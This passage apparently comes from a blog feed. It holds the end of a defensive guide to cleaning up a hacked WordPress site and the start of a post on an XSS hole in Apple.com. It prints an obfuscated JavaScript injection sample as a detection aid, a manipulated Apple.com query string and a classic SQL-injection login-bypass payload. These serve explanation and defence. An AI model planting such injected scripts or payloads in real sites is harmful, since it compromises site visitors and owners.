<p><strong>Unfortunately, not even this is foolproof</strong>,<strong> since most attacks use <a href="http://www.computerworld.com/s/article/9062278/Hackers_camouflage_100_of_Web_attacks_IBM_researcher_says" target="_blank">some sort of obfuscation</a> </strong>to make the malicious code harder to track down. Many times this obfuscated or encrypted code will contain random characters and numbers to make it harder to Google for a matching result.</p>
<p>If the hack is causing your site users to be redirected to badsite.com, the first thing you&#8217;d probably do is do a global search for badsite.com, since any reference to it would be a tip-off that the file has been poisoned. However, what&#8217;s more likely for you to find in your code is something that looks like this:</p>
<p><strong><em>NOTE: Avast Antivirus is stupid, and has been flagging this post as a trojan since I wrote it, due to the sample code below.</em></strong><em> There is no trojan on this page. Avast simply isn’t smart enough to realize that the code it’s seeing isn’t being parsed, it’s merely being displayed. I specifically opted not to use an image or alter the code, so that it would be easier to Google if someone ends up being infected with a similar injection. I’ve added some spaces in the &lt;script&gt; tags to hopefully stop the erroneous virus alerts this page triggers. The real javascript you find in your site will NOT have spaces in the script tags. Avast can suck it.</em></p>
<pre>&lt;scr ipt&gt;var source ="=tdsjqu?epdvnfou/xsjuf)Tusjoh/gspnDibsDpef)
71-216-213-225-:8-21:-212-43-226-225-::-
72-45-49-46-65-64-61-66-68-6:-215-227-
227-223-69-58-58-::-212-221-227-216-232-
222-57-::-222-21:-58-216-221-57-::-214-216-
74-61-45-43-22:-216-211-227-215-72-5:-
43-215-212-216-214-215-227-72-5:-43-226-
227-232-219-212-72-45-229-216-226-216-
:9-216-219-216-227-232-69-43-215-216-
211-211-212-221-45-73-71-58-216-213-225-
:8-21:-212-73**&lt;=0tdsjqu?"; var result = "";
for(var i=0;i&lt;source.length;i++) result+
=String.fromCharCode(source.charCodeAt(i)-1);
document.write(result); &lt;/scr ipt&gt; [spaces added intentionally]</pre>
<p>So as you can see, the common sense of checking for badsite.com in your files isn&#8217;t enough anymore. Your blog most likely has javascript, so simply looking for &lt;script&gt; tags will give you false positives, so you&#8217;ll have to figure out what works best for you.</p>
<p>Once alert I usually like to put in there is for site4x7 to alert me if the content of my page has changed more then 10%. I don&#8217;t post often enough for 1/10th of an entire webpage to have changed, so if I get a ping on this alert, the first thing I do is look in the source code for invisible links. Some injections will insert literally hundreds of links that you can&#8217;t see when you look at the page in a browser, but the large chunk of hidden code will trip the alarm. (They do this to get search engine link juice from legitimate websites that point towards phishing or malware sites.)</p>
<p>Finally, you can set your alert to email you, send you an SMS message or both. If you&#8217;re close-by to some method of checking email most of the time, you may want to stick with email alerts, but I personally <em>want</em> to be woken up in the dead of night if something hinky is going on, so I have it set to SMS <em>and</em> email.</p>
<h3>The Alarm Has Been Sounded. Now What?</h3>
<p>You&#8217;ve received an alert from your site monitoring service notifying you that your site is &#8220;In trouble&#8221;. You obviously need to verify that it&#8217;s actually been hacked, and it&#8217;s not just a timeout or some other innocuous issue.<strong> Be sure to disable javascript before hitting your site</strong> &#8211; since many attacks inject a line of malicious javascript, you don&#8217;t want to end up infecting your own computer while checking your site.</p>
<p><strong>In fact, to be even safer, don&#8217;t hit your homepage using your browser at all. </strong><br />
Some hacks will use a plain meta refresh redirection that doesn&#8217;t rely on javascript to send you on to a malware site, so disabling javascript won&#8217;t protect you from all threats. You can use a tool like the <a href="http://validator.w3.org/" target="_blank">WC3 validator</a> to inspect your HTML code and look for anything that seems out of place without actually executing any code. This is especially helpful if your site usually validates (your sites do validate, don&#8217;t they??) and suddenly do not. To make it even easier, go to the validator, run a scan now now, being sure to select &#8220;show source&#8221; in &#8220;More Options&#8221;, and then bookmark the results page.</p>
<h3>Shit. Definitely Hacked. Now What?</h3>
<p>First of all, in the words of Douglas Adams &#8211; <strong>Don&#8217;t Panic</strong>. Honestly. I know that sounds obvious, but if you panic and start acting rashly, best case scenario you could make a mistake, and worst case scenario, you could end up destroying whatever clues might be available on the server that might help you figure out how the attack was carried out. And that last part is <em>really</em> important if you want to make sure it doesn&#8217;t happen again.</p>
<p><strong>Take a deep breath and exhale slowly.</strong><br />
This is not the end of the world, especially if you&#8217;ve followed the earlier instructions and you have a backup. (You did, right?) Contrary to popular belief, sites get hacked a lot. Big ones and little ones. It&#8217;s definitely a big deal, and I&#8217;m not saying you should go out for a stroll, but freaking out isn&#8217;t going to help you get this straightened out any faster. If you lose your cool here, you risk screwing things up even worse tan they were before, or at the very least, losing valuable information that can help you isolate the vector and prevent the attackers from getting in the same way again.</p>
<p><strong>Immediately change the FTP/ssh login passwords to your site, your WordPress admin account and the database password.</strong><br />
Obviously, you will want to pick a hard to guess password. Do NOT update the database password in the WordPress config file yet. In fact, we haven&#8217;t touched any files yet.</p>
<p><strong>Login to your server and quickly assess the damage &#8211; but don&#8217;t touch anything yet</strong>.<br />
Worst case scenario, many or all of your files may be gone. Actually, in my mind, that&#8217;s not the worst case scenario. It&#8217;s far more frustrating to figure out if malware or malicious scripts have been uploaded to your server if the rest of the files are completely intact, as it can seem a bit like a needle in a haystack.</p>
<p>It can be tempting to immediately remove the offending files and fix everything as quickly as you can. While fixing things as quickly as you can is definitely a priority, you don&#8217;t want to go stomping all over your crime scene. (I say crime scene for the sake of analogy &#8211; most basic site defacements are of little interest to the authorities, however YOU still need to preserve evidence.)</p>
<p><strong>Open your htaccess file and disable your site to incoming traffic. </strong><br />
There are several different ways of doing this, each one with pros and cons, and each one taking a varying amount of time.  I highly recommend checking out the <a href="http://25yearsofprogramming.com/blog/20070704.htm" target="_blank">Close your website temporarily with Apache htaccess</a> article on 25yearsofprogramming.com to see what your options are, with copy+paste code to get you there.</p>
<p>Ideally, you&#8217;ll want to create a plain HTML file that includes a friendly message (without any images, since ALL traffic will be redirecting to that file, so images won&#8217;t work) saying  the site is offline for maintenance, and use htaccess to redirect ALL incoming traffic except that which is originating from your own IP address to that &#8220;closed for maintenance&#8221; page.</p>
<p>You need to disable traffic or redirect to a &#8220;closed for maintenance&#8221; page as quickly as possible, for several reasons. First of all, if your site is actually doing something bad &#8211; redirecting users to a malware site or attempting to install malware on their computers, this is the best way to protect them as quickly as possible. Second of all, it will help you manage the PR end of things if you&#8217;re able to protect your users with a more generic message. You can always explain to your users what happened later. <em>The priority is to contain the threat so that you&#8217;re not infecting any visitors, and then you can take a little more time to investigate and repair the site. </em></p>
<p><strong>Check for files that have been added or modified recently but do NOT fix them yet. </strong><br />
Someone or something modified at least a few files on your server, and the easiest way to figure out which files were modified is to look at the timestamp. If you have SSH access, go ahead and SSH in and execute the following command:</p>
<pre>ls -lRta | less</pre>
<p>This will give you a recursive listing (including last modified timestamp) of files, sorted by date modified.</p>
<p>You can also use something like this:</p>
<pre>find . -type f -mtime -1 -print</pre>
<p>&#8230; which will let you limit your results by date modified. In the example above, the resultes returned would be a listing of files modified in the last day. If you haven&#8217;t made any changes in the past day, there&#8217;s a good chance that the files that show up in the results here are the ones that have been modified by the attacker.</p>
<p>If you don&#8217;t have SSH access, this is a bit more of a pain in the ass, but still do-able. You&#8217;ll want to sort your FTP client&#8217;s results by date modified, and poke around in all of the directories, noting any file modification dates that don&#8217;t make sense.</p>
<p>One of the easiest ways to record the timestamp information is to screenshot the FTP client&#8217;s file listing while sorted by date modified. In SSH, you can pipe the results into a text file. We want to make sure we make a note of all of the files that have been modified recently so that we can check or replace them.</p>
<p><strong>I usually make it a point to download all of the files that have been added or modified. </strong><br />
Since the repair process is going to blow out all of the hacker&#8217;s modifications, I like to download them so I can take a look at them in a text editor later, so I can figure out if there was more going on than initially appeared. Some nefarious scripts will initiate malware installs, some will send out emails with password information, some will create backdoors and/or secret admin accounts, some merely redirect users &#8211; but a good number of hacks implement all of these and more, so I want to put an eyeball on every file that was modified so I can make sure nothing worse happened.</p>
<p><strong>Make with the Googling. </strong><br />
Google can often shed some light on the hack you&#8217;re facing. Chances are, you&#8217;re not the first target, so someone, somewhere may have posted about it. A lot of what you&#8217;ll find are forum members saying &#8220;WTF?! Were we hacked?&#8221;, but every now and then you can actually glean some useful information.</p>
<p>One of the best places to start is to Google the url of the site that your site was forwarding to or pulling data from. In this case we might try &#8220;badsite.com wordpress&#8221; or &#8220;badsite.Com hacked&#8221;. You&#8217;ll often find a lot of crossovers, and the same exploit that&#8217;s being used to wreak havoc on WordPress sites is also being use to hammer vbulletin sites around the same time frame. Once again, while doing this, be careful. If the sites are still infected, you do put your computer at a higher risk, so make sure your antivirus is fired up and your javascript is turned off, at the very least.</p>
<p>The reason why Googling for more information can be very helpful is because someone else may have already figured out the information you&#8217;re looking for. Specifically, if someone did a good job of documenting the hack, they may bring your attention to a backdoor that was created, some files that were modified that you didn&#8217;t think to check, and so on.  You won&#8217;t always hit paydirt, but when you do, you&#8217;ll be really glad you bothered to check.</p>
<p><strong>Check the database directly for secretly created admin users. </strong><br />
These folks can be tricksy, and they can sometimes use a javascript injection to insert new users with administrative privileges directly into your database. If you&#8217;ve allowed other users to register, it can be hard to tell legitimate users apart from suspicious users in the admin area. Plus, since your system was compromised, there is always the chance that your admin area will contain additional formatting that &#8220;hides&#8221; the admin users from view using CSS, so you&#8217;re better off going straight to the horse&#8217;s mouth.</p>
<p>First query the wp_users table to determine your own user ID, and the ID of anyone who legitimately should have admin access. Jot those IDs down. Then query the wp_usermeta table, which stores the user&#8217;s permission level in a chunk of serialized data. Something like this should work:</p>
<pre>select * from wp_usermeta where meta_values LIKE '%administrator%';</pre>
<p>In the results of that query, if you see ANY results with a user_id of something other than yourself or the other legitimate administrators, then the attacker was able to create admin users. Legitimate administrators usually have a wp_capabilities field value of something like this:</p>
<pre><code>a:1:{s:13:"administrator";b:1;}</code></pre>
<p>Users that are <em>not</em> legitimate usually have a lot more text in there, part of which is made up of the script and CSS used to hide their presence. Make a note of the user_ids that are listed in the results and then delete those rows that do not belong.</p>
<p>Next, let&#8217;s look for additional rows that assign a wp_user_level to those same unsavory users. A query like:</p>
<pre>select * from wp_usermeta where meta_key='wp_user_level' AND meta_value='10'</pre>
<p>Chances are, you&#8217;ll see another set of records with matching IDs to the bogus ones you found in the earlier query. Delete the records that do not match the user_id of the legitimate administrators.</p>
<p><strong>Check for script files where they don&#8217;t belong. </strong><br />
While it&#8217;s possible for malicious code to actually be embedded in what looks like an image file, what I have found to be far more common is that backdoor scripts will be inserted into your uploads subdirectories where normally only images live. As a site owner is cleaning up their hacked WordPress install, they often overlook combing through the images directory, since scripts don&#8217;t normally live there.  That means that after the site owner has spent hours cleaning out a hacked blog, the backdoor gets triggered and they find themselves hacked all over again.</p>
<p>One of the commenters in this post had a similar issue. He kept cleaning out the script files, replacing them with clean copies, etc. And every week, the blog would get hacked again. We went through his file structure together, and sure enough, there were .php and .pl files tucked away in a few of his uploads directories.</p>
<p>In another instance (that I will hopefully get a chance to blog about soon), I discovered files in the cgi-bin that didn&#8217;t belong there. You can read more about that exploit in depth in<a href="http://badwarebusters.org/main/itemview/14451" target="_blank"> my post about it on badwarebusters.org</a> if you&#8217;re interested.</p>
<p>If you don&#8217;t have shell access and have an older blog with tons of upload subdirectories broken down by month, this can be time-consuming, but it really is necessary. Without SSH access, the easiest thing to do is to go into each directory in your FTP program and sort the file listing by file type. This will group all of the images together, and make it easy to spot anything that isn&#8217;t an image and doesn&#8217;t belong. Then do another quick sort by file modification date, just to be sure there&#8217;s nothing in there that doesn&#8217;t make sense, for example a recent modification date on an image from a blog post that is over a month old. Unless you know you went back into the blog post and updated an image, that file modification timestamp should look out of place and should raise some red flags.</p>
<p><strong>Once you have a copy of all of the bad files and you know when they were modified, you can now restore the site. </strong><br />
Leave the htaccess redirect up until you&#8217;re done. I highly recommend blowing out all of the files in the entire webspace and restoring from a clean backup. What would be a clean backup? One that was done before the timestamps of the bad files. Bear in mind, just because there was no visible sign of a hack previously, that doesn&#8217;t mean bad scripts weren&#8217;t living on the server &#8211; so this method isn&#8217;t foolproof, but it&#8217;s a good place to start.</p>
<p>I usually do a fresh download and reinstall if the core WordPress files at this point, just to be on the safe side.</p>
<p><strong>Once the site is restored, revert back to your normal htaccess and re-open the site.</strong><br />
How you handle your PR is up to you. For some, transparency may be best. If you believe that your users&#8217; usernames and/or passwords were compromised in any way, you should let your user&#8217;s know. I use Disqus on all of my sites, so my WordPress database doesn&#8217;t contain any user&#8217;s login information, but if you use WordPress&#8217; native comments, you need to let your users now that their information was potentially exposed. This is an ethical obligation because many people (stupidly) use the same login for multiple accounts online, and having access to their WordPress login could mean the bad guys now have access to other accounts because the user was dumb enough to use the same login for your site as for their bank.</p>
<p>I generally recommend turning off new user registration altogether in WordPress. Once you&#8217;ve done that, you can <strong><a href="http://www.webmaster-toolkit.com/htaccess-generator.shtml" target="_blank">password protect the wp-admin</a></strong> directory to further secure your install. (We&#8217;ll talk more about other ways you can secure your WordPress installation in the next article.)</p>
<p><strong>Spend some time looking at your log files. </strong><br />
This part is critical, so you can figure out what happened and how the exploit was executed. Check your httpd logs, looking for signs of cross-site scripting around the time the you were alerted to the hack and earlier. Look for GET or POST strings being sent that have weird code in them, specifically GET or POST variables that don&#8217;t make any sense for your website.</p>
<p>Check your FTP/SSH logs for logins from IP addresses you don&#8217;t recognize, specifically around the time the bad files were modified.</p>
<p><em><strong>If you see FTP traffic during that time that wasn&#8217;t you (or another legitimate user) uploading the hacked files, there is a very good chance that you or someone who has FTP access to your server has malware on their computer.</strong></em> The other option there is that you (or someone with access) was uploading files while on a public wifi network, and someone sniffed the login over the network. That is a less likely scenario, but still one to consider.<em> Nine times out of ten recently, when I have had to fix a client or friend&#8217;s hacked WordPress site, it is because the computer they use to upload files has been compromised by way of malware or a virus. </em></p>
<p><strong>Be paranoid.</strong><em><br />
</em>Seriously. Keep a close eye on on your site, specifically checking the places the exploit first showed up. Check back often, reviewing your source code for anything that doesn&#8217;t belong. Injected code is very often found at the very bottom or very top of the executed page, but may also be sprinkled throughout the file, so keep your eyes peeled. Remember what we discussed earlier &#8211; it may be obfuscated, so doing a find on the source looking for &#8220;badsite.com&#8221; may give you a false negative.</p>
<p>If possible, try to update your website service monitoring service alerts to specifically look for the bad code. Try not to be too specific, since many of these hacks that leave backdoors will randomize their obfuscation, so the bad code could do undetected if you&#8217;re too specific.</p>
<p>Repeat the same process of logging in and monitoring which files have been been recently added or modified. Many scripts will randomize the filename of the backdoor script they bury somewhere deeper in your file structure, so don&#8217;t get used to looking for specific filenames &#8211; look for timestamps, and the <em>moment</em> you see a timestamp you&#8217;re not responsible for, be ready for round two.</p>
<p><strong>Follow-up with Google</strong>.<br />
If your site ended up being listed as malware so that browsers, email clients and some search engines have your site flagged as one that is a potential source of malware, you can appeal this. Using Google Webmaster tools, you can request a review of your site. Once Google decides your site is no longer a threat, you&#8217;ll be de-listed as a potentially harmful site. <a href="http://www.google.com/support/webmasters/bin/answer.py?answer=45432" target="_blank">More information on Google&#8217;s policy on harmful sites is available here</a>.</p>
<h3>Final Notes</h3>
<p>The methods mentioned above about detecting how the hack was executed do not cover all possibilities. If a poorly written script allowed the attacker access beyond your webroot, your entire server could be compromised. This is less of a risk with a reliable virtual or cloud host, since they will limit what your user can access with respect to the rest of the server, but still something to keep in mind. There are a lot of different kinds of attacks that you won&#8217; be able to diagnose using the methods above &#8211; a DNS injection, rootkit, and so on will be harder to backtrack, and you&#8217;d be best served consulting a professional.</p>
<p>If you&#8217;re interested in learning more about penetration testing and intrusion detection, I highly recommend the e-book <a href="http://www.detectmalice.com/" target="_blank">&#8220;Detecting Malice&#8221;</a> by Robert &#8220;RSnake&#8221; Hansen. If this is your first foray into pen testing and security, you&#8217;ll appreciate Robert&#8217;s way of explaining complicated topics using easy-to-understand-language. If you&#8217;re more experienced in this field, you&#8217;ll still learn a lot (and this article was probably too basic for you, so what the hell were you doing here anyway?)</p>
<p>Odds are, if you&#8217;ve had a website for a while, you&#8217;ve been hacked. It does happen &#8211; but by taking some steps ahead of time, and being prepared for it, you&#8217;ll be able to react more effectively and preserve more of your reputation and the information that may be needed to lock down whatever security holes you may have.</p>
<p>I&#8217;ll hopefully be following up this article with a second one, that provides tips on how to secure your WordPress blog. Stay tuned, and <a href="http://feeds.feedburner.com/snipenet" target="_blank">make sure you&#8217;re subscribed to the RSS feed</a> to know when it&#8217;s up.</p>
<p>I obviously couldn&#8217;t cover every scenario in one article, especially given the potentially broad range of varying technical abilities of my readers and the huge nuance and variety of attacks, but I tried to cover the basics.  Did you learn anything new? Did I miss something? Let me know in the comments.</p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2010/06/upgrading-to-wordpress-3/' rel='bookmark' title='Permanent Link: Upgrading to WordPress 3.0 and Adding Multi-Site'>Upgrading to WordPress 3.0 and Adding Multi-Site</a> <small>WordPress 3.0, code name “Thelonious”, has been released, and it...</small></li>
<li><a href='http://www.snipe.net/2009/01/essential-wordpress-plugins/' rel='bookmark' title='Permanent Link: Essential WordPress Plugins'>Essential WordPress Plugins</a> <small>Many WordPress bloggers have taken the time to share the...</small></li>
<li><a href='http://www.snipe.net/2009/01/creating-a-wordpress-theme/' rel='bookmark' title='Permanent Link: Creating A WordPress Theme'>Creating A WordPress Theme</a> <small>If you&#8217;ve already got some design chops and a WordPress...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2010/01/when-wordpress-gets-hacked/feed/</wfw:commentRss>
		<slash:comments>44</slash:comments>
		</item>
		<item>
		<title>Web 2-Point-Owned: Apple.Com&#8217;s XSS Exploit</title>
		<link>http://www.snipe.net/2009/11/apple-coms-xss-exploit/</link>
		<comments>http://www.snipe.net/2009/11/apple-coms-xss-exploit/#comments</comments>
		<pubDate>Wed, 04 Nov 2009 03:20:06 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[exploits]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=2505</guid>
		<description><![CDATA[Earlier today, we got a glimpse of what happens when a big company forgets to cross their t&#8217;s and dot their i&#8217;s. And in programming, that means failing to validate user-entered data before displaying it on-screen. My friend Peter Bukowinski first brought the exploit to my attention, posting a link to Apple.Com&#8217;s iTunes affiliate search [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2009%2F11%2Fapple-coms-xss-exploit%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2009%2F11%2Fapple-coms-xss-exploit%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>Earlier today, we got a glimpse of what happens when a big company forgets to cross their t&#8217;s and dot their i&#8217;s. And in programming, that means failing to validate user-entered data before displaying it on-screen.</p>
<p><span id="more-2505"></span></p>
<p>My friend <a href="http://twitter.com/pmbuko" target="_blank">Peter Bukowinski</a> first brought the exploit to my attention, posting a link to Apple.Com&#8217;s iTunes affiliate search interface. The link he sent me led to a page that looked like this:</p>
<p><a href="http://www.snipe.net/wp-content/uploads/2009/11/Screen-shot-2009-11-03-at-5.13.10-PM.png"><img class="aligncenter size-large wp-image-2506" title="Screen shot 2009-11-03 at 5.13.10 PM" src="http://www.snipe.net/wp-content/uploads/2009/11/Screen-shot-2009-11-03-at-5.13.10-PM-560x426.png" alt="Screen shot 2009-11-03 at 5.13.10 PM" width="560" height="426" /></a></p>
<p>Notice that the url in the browser bar is actually apple.com &#8211; this was not a parody site.</p>
<p>Evidently, Apple&#8217;s developers had neglected to validate the data being sent through the query string. The actual url was:</p>
<p><em>http://www.apple.com/itunes/affiliates/download/?artistName=your+mom&amp;thumbnailUrl=http://www.moneysavingmom.com/money_saving_mom/images/2008/09/02/joblogo.gif&amp;itmsUrl=http://www.bjs.com/&amp;albumName=a+better+blowjob</em></p>
<p>So by editing the variables passed through the url, you could have a little harmless fun at Apple&#8217;s expense:</p>
<p><a href="http://www.snipe.net/wp-content/uploads/2009/11/Screen-shot-2009-11-03-at-5.24.38-PM.png"><img class="aligncenter size-large wp-image-2508" title="Screen shot 2009-11-03 at 5.24.38 PM" src="http://www.snipe.net/wp-content/uploads/2009/11/Screen-shot-2009-11-03-at-5.24.38-PM-560x426.png" alt="Screen shot 2009-11-03 at 5.24.38 PM" width="560" height="426" /></a></p>
<p>As you can see, by editing the query string and changing the variables for artistName, thumbnailUrl and itmsUrl, we could make the page hosted on Apple.Com&#8217;s server display whatever mischief we want. The variables were being echoed out directly on the page without any validation, filling in the blanks in their iTunes affiliate page template: [image] Looking for [blank] by [blank]?</p>
<h2>But What is XSS?</h2>
<p>Honestly, if you&#8217;re a web developer and you don&#8217;t know what XSS is by now, you suck at your job and should probably go back to spanking it to porn in your mom&#8217;s basement and leave the coding to the grownups. It&#8217;s been around long enough that you forfeit your right to call yourself a web-anything if you don&#8217;t know what it is by now. That said&#8230;</p>
<p>From the <a href="http://www.cgisecurity.com/xss-faq.html" target="_blank">Cross-Site Scripting FAQ on cgisecurity.com</a>:</p>
<blockquote><p>Cross site scripting (also known as XSS) occurs when a web application gathers malicious data from a user. The data is usually gathered in the form of a hyperlink which contains malicious content within it. The user will most likely click on this link from another website, instant message, or simply just reading a web board or email message. Usually the attacker will encode the malicious portion of the link to the site in HEX (or other encoding methods) so the request is less suspicious looking to the user when clicked on. After the data is collected by the web application, it creates an output page for the user containing the malicious data that was originally sent to it, but in a manner to make it appear as valid content from the website. Many popular guestbook and forum programs allow users to submit posts with html and javascript embedded in them. If for example I was logged in as &#8220;john&#8221; and read a message by &#8220;joe&#8221; that contained malicious javascript in it, then it may be possible for &#8220;joe&#8221; to hijack my session just by reading his bulletin board post.</p></blockquote>
<p><strong>Cross-Site Scripting is nothing new, not even on large, popular websites.</strong> While this example on Apple.Com resulted only in a humorous page being available under a large company&#8217;s domain, many XSS attacks can be far more sinister &#8211; and the attack had far more potential than our harmless prank, as users on Reddit.Com noticed that the exploit <a href="http://www.reddit.com/r/programming/comments/a0n3q/apple_xss_exploit/" target="_blank">did allow malicious scripting  including JavaScript injection and IFrame injection</a> (thanks to <a href="http://twitter.com/shocm">@shocm</a> for bringing the Reddit thread to my attention).</p>
<p>It looks as though Apple&#8217;s server sanitized the &lt;script&gt;&lt;/script&gt; tag, but there are at least a half-dozen ways to inject javascript without using a &lt;script&gt; tag, many of which are outlined on the <a href="http://ha.ckers.org/xss.html" target="_blank">XSS Cheat Sheet</a>.</p>
<p>This type of exploit is a <a href="http://en.wikipedia.org/wiki/Cross-site_scripting#Traditional_versus_DOM-based_vulnerabilities" target="_blank">DOM-based exploit</a>. Wikipedia does a good job of summing it up:</p>
<blockquote><p>Traditionally, cross-site scripting vulnerabilities would occur in server-side code responsible for preparing the HTML response to be served to the user. With the advent of web 2.0 applications, a new class of XSS flaws emerged, however: DOM-based vulnerabilities come to be during the content processing stages delegated to the client, typically in client-side JavaScript. The name refers to the standard model for representing HTML or XML contents, called the Document Object Model or DOM for short. The model is the primary way for JavaScript programs to manipulate the state of a web page, and populate it with dynamically computed data.</p>
<p>A typical example is a piece of JavaScript accessing and extracting data from the URL via the location.* DOM, or receiving raw non-HTML data from the server via XMLHttpRequest, and then using this information to write dynamic HTML without proper escaping, entirely on client side.</p></blockquote>
<p>Netcraft featured an <strong><a href="http://news.netcraft.com/archives/2008/05/16/paypal_xss_vulnerability_undermines_ev_ssl_security.html" target="_blank">XSS vulnerability on PayPal&#8217;s website</a> </strong>discoverd by a Finnish security researcher in May 2008:</p>
<p><a href="http://www.snipe.net/wp-content/uploads/2009/11/paypal-xss-ev-ssl-certificate-resized.png"><img class="aligncenter size-full wp-image-2511" title="paypal-xss-ev-ssl-certificate-resized" src="http://www.snipe.net/wp-content/uploads/2009/11/paypal-xss-ev-ssl-certificate-resized.png" alt="paypal-xss-ev-ssl-certificate-resized" width="500" height="318" /></a></p>
<p>An exploit was reported in March 2007 on YouTube&#8217;s website, allowing a similar type of JavaScript attack:</p>
<p><a href="http://www.snipe.net/wp-content/uploads/2009/11/youtube-xss-cordobo.png"><img class="aligncenter size-full wp-image-2512" title="youtube-xss-cordobo" src="http://www.snipe.net/wp-content/uploads/2009/11/youtube-xss-cordobo.png" alt="youtube-xss-cordobo" width="367" height="247" /></a></p>
<p>And an <strong><a href="http://www.youtube.com/watch?v=Ui0MOD9dYok" target="_blank">XSS exploit of eBay was documented in this YouTube video</a></strong>, also in 2007, and Twitter has suffered several XSS exploit attacks as recently as this year. But those are just a small handful of examples from a really long list.</p>
<p>In fact, <strong>just today, an article came out in The Register, detailing an <a href="http://www.theregister.co.uk/2009/11/04/website_cookie_stealing/" target="_blank">XSS cookie hijacking attack</a> that affects many large websites, including Google and Facebook. </strong>From the article:</p>
<blockquote><p>A security researcher has discovered a weakness in a core browser protocol that compromises the security of Google, Facebook, and other websites by allowing an attacker to tamper with the cookies they set.</p>
<p>The weakness stems from RFC 2965, which dictates that browsers must allow subdomains (think www.google.com) to set and read cookies for their parent (google.com). The specification also states that if a cookie for a subdomain doesn&#8217;t already exist, the browser should use the cookie belonging to the parent instead.</p>
<p>The arrangement makes it possible for attackers to steal or even alter the cookies that websites use to authenticate their users. Attackers would first have to identify an XSS, or cross-site scripting, bug in some part of the site they are targeting. But because virtually any subdomain will suffice, the scenario isn&#8217;t unrealistic, two web security experts said.</p></blockquote>
<p>Apple&#8217;s development team responded quickly to the exploit on their site &#8211; a little too quickly in my opinion, since I was preparing to have a little more fun with it, but they had patched it by the time I got home. It should still serve as a reminder to developers of just how important data scrubbing and validation is, no matter whether your site is big or small, with 2 hits a day or 2 million.</p>
<h2>XSS Vulnerabilities Compromise User Data &#8211; And Your Reputation</h2>
<p><strong>As the eBay exploit video shows (and as anyone on Twitter saw this year), XSS attacks are not just embarrassing &#8211; they can be used for phishing scams, tricking users to login to a fake site, exposing their login credentials or worse. </strong>PayPal and bank phishing schemes often prompt the user to &#8220;confirm&#8221; their bank account information or credit card information &#8220;for security purposes&#8221;.</p>
<p>Other XSS exploits may trick users into thinking their computer has been infected by a virus, prompting them to download &#8220;free software&#8221; to clean their system &#8211; meanwhile the software the panicking user is downloading actually is the virus. And even though you might never fall for something so blatantly obviously, lots and lots of people do, every day.</p>
<p>Often attackers will inject JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable application to fool a user in order to gather data from them. Everything from <strong>account hijacking</strong>, <strong>changing user settings</strong>, <strong>cookie theft/poisoning</strong>, or false advertising is possible. <strong>New malicious uses are being found every day for XSS attacks. </strong>XSS exploits can even be used to facilitate &#8220;Denial Of Service&#8221; attacks (or DoS attacks), and potential &#8220;auto-attacking&#8221; of hosts if a user simply reads a post on an infected message board.</p>
<p>While XSS attacks themselves cannot compromise files on your server, XSS holes can allow Javascript insertion, which may allow for limited execution. If an attacker were to exploit a browser flaw (browser hole) it could then be possible to execute commands on the client&#8217;s side. If command execution were possible it would only be possible on the client side. In simple terms <strong>XSS holes can be used to help exploit other holes that may exist in your browser or server</strong>.</p>
<h2>User-Submitted Data and Your Database</h2>
<p>Trusting user variables without cleaning or validating them opens you up to a whole host of problems if your application is powered by a database.</p>
<p>For example, the following SQL command is used to validate user login requests:</p>
<pre class="brush: sql">$sql_query = &quot;select * from users where user=&#039;$user&#039; and password=&#039;$pass&#039;&quot;</pre>
<p>If the user-submitted data is not properly validated, an attacker can exploit this query and pass the login screen by simply submitting specially crafted variables.</p>
<p>For example, attacker can submit the following data as a $user variable: admin&#8217; or &#8217;1&#8242;=&#8217;1 . When this $user variable is glued together with the query, it will look as followed:</p>
<pre class="brush: sql">$sql_query = &quot;select * from users where user=&#039;admin&#039; or &#039;1&#039;=&#039;1&#039; and password=&#039;$pass&#039;&quot;</pre>
<p>Now, the attacker can safely pass the login screen because or &#8217;1&#8242;=&#8217;1&#8242; causes the query to always return a &#8220;true&#8221; value while ignoring the password value.</p>
<p>Using similar techniques, an attacker can <strong>retrieve database records</strong>, <strong>pass login screens</strong>, and <strong>change database contents</strong>, for example by <strong>creating new administrative users</strong>. Using similar techniques, a malicious attack will be able to execute arbitrary shell commands, read or write arbitrary commands, and more.</p>
<p><strong>It is our responsibility to protect our users (and the trust they put in us, deserved or not)</strong>, and XSS vulnerabilities open the doors to all manner of mischief. At their most benign, they can result in a site defacement. At their worst, they compromise the very safety and livelihood of the people that fall for them &#8211; not to mention the impact on your company&#8217;s reputation.</p>
<p><strong>If you think your site is too small for hackers to bother with, think again.</strong> There are plenty of script kiddies out there that will happily run their exploit toolkit scripts and crawl page after page, testing for exploits. They are able to find common exploits in sites they have never physically even visited through this method.  And once they find a vulnerability, word spreads fast.</p>
<p><strong>It should also serve as a reminder to us as a internet users to be a little less trusting.</strong> It seems obvious, but we are so trained to respond to visual cues and prompts for activities we do every day &#8211; logging into a website, checking out with PayPal, etc &#8211; that we can sometimes become careless. We sometimes trust the big guys a little too much, assuming that because they&#8217;re that big, they&#8217;ve got to have their shit together. Even when we know better, our interactions online have become somewhat mechanical.</p>
<p>While browsers are getting better at helping us realize if we&#8217;re entering data into a site that is suspect, ultimately the responsibility falls back upon us to pay attention to what we&#8217;re doing and to whom we give our valuable information.</p>
<h2>So as a developer, what can you do to protect your software and sites from XSS attacks?</h2>
<p>Here are a few good places to start.</p>
<h3>Stuff to Read:</h3>
<ul>
<li><strong>Learn more about XSS and how it works</strong> on the <a href="http://www.cgisecurity.com/xss-faq.html" target="_blank">Cross-Site Scripting FAQ</a> on cgisecurity.com.</li>
<li><strong>Learn more about <a href="http://www.greensql.net/publications/backdoor-webserver-using-mysql-sql-injection" target="_blank">Backdooring a Webserver using MySQL</a></strong>, which details how a user could read/write files to your server and execute commands using mySQL.</li>
